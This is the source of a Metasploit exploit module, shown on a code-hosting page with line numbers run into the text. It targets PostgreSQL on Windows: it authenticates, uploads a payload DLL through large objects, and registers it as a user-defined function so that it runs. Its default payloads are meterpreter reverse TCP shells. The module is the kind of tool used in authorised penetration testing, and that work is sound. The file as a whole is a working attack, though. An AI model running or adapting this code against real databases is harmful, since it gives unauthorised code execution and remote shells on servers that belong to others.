Path: blob/master/modules/exploits/windows/postgres/postgres_payload.rb
19511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Postgres9include Msf::Auxiliary::Report10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper12include Msf::OptionalSession::PostgreSQL1314# Creates an instance of this module.15def initialize(info = {})16super(17update_info(18info,19'Name' => 'PostgreSQL for Microsoft Windows Payload Execution',20'Description' => %q{21On default Microsoft Windows installations of PostgreSQL the postgres22service account may write to the current directory (which is usually23"C:\Program Files\PostgreSQL\<version>\data" where <version> is the24major.minor version of PostgreSQL). UDF DLL's may be sourced from25there as well.2627This module uploads a Windows DLL file via the pg_largeobject method28of binary injection and creates a UDF (user defined function) from29that DLL. Because the payload is run from DllMain, it does not need to30conform to specific Postgres API versions.31},32'Author' => [33'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the postgresql udf libraries34'todb' # this Metasploit module35],36'License' => MSF_LICENSE,37'References' => [38[ 'URL', 'https://web.archive.org/web/20100803002909/http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql' ], # A litte more specific to PostgreSQL39],40'Platform' => 'win',41'Targets' => [42[43'Windows x86',44{45'Arch' => ARCH_X86,46'DefaultOptions' => {47'PAYLOAD' => 'windows/meterpreter/reverse_tcp'48}49}50],51[52'Windows x64',53{54'Arch' => ARCH_X64,55'DefaultOptions' => {56'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'57}58}59],60],61'DefaultTarget' => 0,62'DisclosureDate' => '2009-04-10',63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68) # Date of Bernardo's BH Europe paper.69)7071deregister_options('SQL', 'RETURN_ROWSET')72end7374def check75version = postgres_fingerprint7677if version[:auth]78print_good "Authentication successful. Version: #{version}"79return CheckCode::Appears # WRITE permission needs to be proven to get CheckCode::Vulnerable80else81print_error "Authentication failed. #{version[:preauth] || version[:unknown]}"82return CheckCode::Safe83end84end8586def exploit87self.postgres_conn = session.client if session88version = do_login(username, password, database)89case version90when :noauth; print_error "Authentication failed"; return91when :noconn; print_error "Connection failed"; return92else93print_status("#{postgres_conn.peerhost}:#{postgres_conn.peerport} - #{version}")94end9596fname = "#{Rex::Text.rand_text_alpha(8)}.dll"97register_files_for_cleanup(fname)9899unless postgres_upload_binary_data(generate_payload_dll, fname)100print_error "Could not upload the UDF DLL"101return102end103104print_status "Uploaded as #{fname}"105begin106func_name = Rex::Text.rand_text_alpha(10)107postgres_query(108"create or replace function pg_temp.#{func_name}()" +109" returns void as '#{fname}','#{func_name}'" +110" language c strict immutable"111)112rescue RuntimeError => e113print_error "Failed to create UDF function: #{e.class}: #{e}"114end115postgres_logout if @postgres_conn && session.blank?116end117118# Authenticate to the postgres server.119#120# Returns the version from #postgres_fingerprint121def do_login(user = nil, pass = nil, database = nil)122begin123password = pass || postgres_password124vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn125result = postgres_fingerprint(126:db => database,127:username => user,128:password => password129)130if result[:auth]131report_service(132:host => postgres_conn.peerhost,133:port => postgres_conn.peerport,134:name => "postgres",135:info => result.values.first136)137return result[:auth]138else139print_error("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}")140return :noauth141end142rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError143return :noconn144end145end146147end148149150